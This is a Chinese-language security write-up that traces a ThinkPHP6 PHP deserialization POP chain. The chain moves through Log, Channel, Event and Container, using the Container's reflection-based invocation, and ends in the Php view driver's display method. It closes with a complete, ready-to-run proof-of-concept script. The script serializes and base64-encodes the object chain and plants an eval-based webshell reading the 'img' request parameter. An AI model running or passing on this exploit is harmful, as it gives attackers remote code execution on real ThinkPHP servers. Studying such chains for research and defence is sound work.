细说将反射调用加入pop链
背景
在之前写thinkphp5
的反序列化利用链的时候就一直想将反射调用写成利用链的一部分
但是失败了,反射调用存在一些限制,算是个小总结
- 被调用的类的构造方法中不能存在接口参数,类参数和其他类型都无所谓
- 要想反射调用可用
- 被反射的类的构造方法,可以进一步发掘
- 或者反射调用的方法就是
pop
链执行的终点
- 因为被调用的类是一个新的实例,不存在我们反序列化的哪些数据
- 可控的就是调用方法时的传参,无法再进一步了
以流程跟踪的方式,非漏洞发现角度编写
ThinkPHP6反序列化利用链的挖掘
首先我确定了终点
Php
类的display
方法,此方法可以完成代码执行,算的上是完美终点

再来确定入口点
AbstractCache
的save
方法,主要是继承这个抽象类的方法比较多

而存在反射调用的点就是Container
类

详细过程
析构之后,Adapter
类继承自AbstractCache
类
遂调用Adapter
类的save
方法

$this->adapter
是可控的
此处可以调用任意类的has
方法,或者触发__call
方法
选择一处__call
方法
Log
类的__call
方法摆脱了不同类之间has
方法的反复调用

此时的method
值为has
,$patameters
为任意可控值
跟进log
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function log($level, $message, array $context = []): void { $this->record($message, $level, $context); } ... ... ... public function record($msg, string $type = 'info', array $context = [], bool $lazy = true) { $channel = $this->getConfig('type_channel.' . $type);
$this->channel($channel)->record($msg, $type, $context, $lazy);
return $this; } ... ... ...
|
这时进入了getConfig
,需要返回一个完全可控的值

这种调用方式,首先需要类里面存在config
这个变量,其次这个变量的修饰符时public
我选择另外一种
可以调用任意类的__get
方法,返回一个可控的对象,类似如下View
类

再调用返回对象的get
方法,返回一个完全可控的值即可,如下Config
类

此时$channel
值完全可控

跟进channel
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public function channel($name = null) { if (is_array($name)) { return new ChannelSet($this, $name); }
return $this->driver($name); } ... ... ... protected function driver(string $name = null) { $name = $name ?: $this->getDefaultDriver();
if (is_null($name)) { throw new InvalidArgumentException(sprintf( 'Unable to resolve NULL driver for [%s].', static::class )); }
return $this->drivers[$name] = $this->getDriver($name); } ... ... ... protected function getDriver(string $name) { return $this->drivers[$name] ?? $this->createDriver($name); } ... ... ...
|
此时可以调用任意类的record
方法
msg->has
type->
任意可控值
- 其余默认
进入Channel
类的record
方法

$this->lazy
可控,进入save
方法
在save
方法中可以调用任意类的trigger
方法

但是参数是一个类得实例
全局搜索trigger
方法
只有Event
类的trigger
方法没有对参数类型进行限制

后续发现这里需要参数净化,不然传到display
方法就是个类的实例
分析参数可知,共三个
event:
类型无限制
params:
类型无限制
once:bool
型
寻找参数净化方法,此时我一般选择array_unshift
,向数组的最前插入数据
找到Handler
类的__call
方法,简直完美

经过参数净化,传入trigger
方法的三个参数均已可控
进入trigger
的参数

通过$this->listener[$event]
取得listeners
的值

进入dispatch
方法,$event
就是键值对的值,设置为数组,params
参数可控

进入某个类的invoke
方法
此时
$this->app
可控
$call
可控,为数组
$params
可控
进入Container
类的invoke
方法

跟进invokeMethod
方法

跟进invokeClass
方法
通过反射返回一个对象的实例

回到invokeMethod
方法后,进行参数绑定

$vars
为可控的参数值
$class
为可控的调用的任意类的任意方法
进入Php
类的display
方法

end

完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| <?php namespace League\Flysystem\Cached\Storage{ use think\Log; abstract class AbstractCache { protected $autosave = false; public $adapter; public $file; } class Adapter extends AbstractCache { public function __construct() { $this->adapter = new Log(); $this->file = "aaa"; } } } namespace League\Flysystem{ use think\Event; class Config{ protected $settings; public function __construct() { $this->settings['log.type_channel.has'] = "bbb"; } } class Directory{ protected $path; protected $filesystem; public function __construct() { $this->path = false; $this->filesystem = new File(new File(1)); } } class File{ protected $path; protected $filesystem; public function __construct($obj) { $this->path = '<?php @eval($_REQUEST[\'img\']);'; if (is_object($obj)){ $this->filesystem = $obj; }else{ $this->filesystem = new Event(); }
} } } namespace think{ use League\Flysystem\Config; use think\log\Channel; abstract class Manager{ protected $drivers; } class Log extends Manager{ protected $app; protected $drivers; public function __construct() { $this->app = new View(); $this->drivers['bbb'] = new Channel(); } } class View{ protected $data; public function __construct() { $this->data['config'] = new Config(); } } class Event{ protected $listener; protected $app; public function __construct(){ $this->listener['<?php @eval($_REQUEST[\'img\']);'] = [['think\\view\\driver\\Php','display']]; $this->app = new Container(); } } class Container{ } } namespace think\log{ use League\Flysystem\Directory; class Channel{ protected $lazy = false; protected $event; protected $name; public function __construct(){ $this->event = new Directory(); $this->name = "ccc"; } } } namespace { use League\Flysystem\Cached\Storage\Adapter; $a = new Adapter(); echo base64_encode(serialize($a)); }
|